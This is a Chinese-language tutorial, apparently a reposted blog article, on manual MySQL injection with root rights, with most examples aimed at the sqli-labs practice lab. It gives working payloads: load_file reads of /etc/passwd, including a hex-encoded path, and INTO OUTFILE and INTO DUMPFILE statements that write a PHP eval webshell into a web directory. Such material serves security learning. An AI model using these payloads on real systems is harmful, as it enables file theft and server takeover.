MySQL手注之root权限的处理
2021/4/11 19:25:59
本文主要是介绍MySQL手注之root权限的处理,对大家解决编程问题具有一定的参考价值,需要的程序猿们随着小编来一起学习吧!
一、什么是root权限?有什么用?
MySQL数据库默认有⼀个⽤户是Root,其权限默认是⾮常⾼的,在数据库默认配置下,Root⽤户是可以对⽹站的⼀些⽬录进⾏读写操作的。如果当前连接的mysql⽤户为root权限,在具有读写权限的前提下,我们是可以通过写⼊⼀句话⽊马到⽹站⽬录来获取⽹站权限的,也就是webshell。
二、如何获取物理路径?
1.报错,比如加单引号
2.phpinfo页面
3.猜测
4.爆破,将各种厂商的默认路径收集在一起,并测试每项是否正确。
三、secure_file_priv参数有什么用?什么版本之后会有差异?如何查看secure_file_priv参数的值?
1.secure-file-priv 参数是⽤来限制LOAD DATA, SELECT ... > OUTFILE, and LOAD_FILE()传到某个指定⽬录的。
当 secure_file_priv 的值为null ,表⽰限制mysqld 不允许导⼊|导出
当 secure_file_priv 的值为/tmp/ ,表⽰限制mysqld 的导⼊|导出只能发⽣在/tmp/⽬录下
当 secure_file_priv 的值没有具体值时,即 ' ' ,表⽰不对mysqld 的导⼊|导出做限制。
2. 在5.5.53之前的版本是 secure_file_priv 变量默认为空,⾼于5.5时,mysql新出了⼀个 secure-file-priv 字段,所以注入之前一定要先判断数据库版本。
3.使用show global variables like '%secure%' 查看值
四、Mysql如何读文件?
使用load_file()函数读取文件
select load_file('/etc/passwd');【物理路径】
select load_file(0x2F6574632F706173737764);【十六进制路径】(解码之前一定要去掉0x)
五、Mysql如何写文件?
1.INTO OUTFILE函数,其在写⽂件时会在每⼀⾏的结束⾃动加上换⾏符
select '[一句话木马]' into outfile '物理路径//file_name' #以上步骤完成之后就成功获取了一个webshell,这之后就可以用webshell管理工具进行安排了。
实例: Select <?php @eval($_POST['mima']) ?> into outfile 'C:\\phpstudy\\PHPTutorial\\WWW\\sqli-labs\\sqli-labs\\Less-7\\muma.php'
扩展:
select * from tdb_goods where goods_id=1 into outfile "/var/www/html/muma.php" LINES STARTING BY ''
LINES STARTING BY '写⼊的内容' 设置每⾏数据开头的字符,可以为单个或多个字符。默认情况下不使⽤任何字符。
LINES TERMINATED BY '写⼊的内容' 设置每⾏数据结尾的字符,可以为单个或多个字符。默认值是"\n"。
2.INTO DUMPFILE函数,其在写⽂件会保持⽂件得到原⽣内容,这种⽅式对于⼆进制⽂件是最好的选择
select '[一句话木马]' into dumpfile '物理路径//file_name' #值得注意的是,file_name不能是一个已经存在的文件。
实例:Select <?php @eval($_POST['mima']) ?> into dumpfile 'C:\\phpstudy\\PHPTutorial\\WWW\\sqli-labs\\sqli-labs\\Less-7\\muma.php'
六、在实际的注入中,我们有哪两个难点需要解决?
1.有效的物理路径
很多 PHP 程序中,当提交一个错误的 Query,如果 display_errors = on,程序就会暴露 WEB 目录的绝对路径,常用路径有https://www.cnblogs.com/lcamry/p/5729087.html
2.构造有效的畸形语句(报错爆出绝对路径)
七、请简要分析一句话木马 <?php @eval($_POST['cmd']) ?>
1.@eval()函数,接受一个参数,将字符串作为PHP代码执行
2.$_POST['cmd'],POST为http请求方法,cmd为webshell管理工具连接时需要使用的密码。
这篇关于MySQL手注之root权限的处理的文章就介绍到这儿,希望我们推荐的文章对大家有所帮助,也希望大家多多支持为之网!
- 2024-11-20部署MySQL集群入门:新手必读指南
- 2024-11-20部署MySQL集群教程:初学者指南
- 2024-11-20部署MySQL集群项目实战:新手教程
- 2024-11-20部署MySQL集群资料:新手入门教程
- 2024-11-20MySQL集群部署教程:入门级详解
- 2024-11-20MySQL集群教程:入门与实践指南
- 2024-11-20部署MySQL集群教程:新手入门指南
- 2024-11-20MySQL读写分离教程:轻松入门
- 2024-11-20部署MySQL集群入门:一步一步搭建你的数据库集群
- 2024-11-19部署MySQL集群学习:入门教程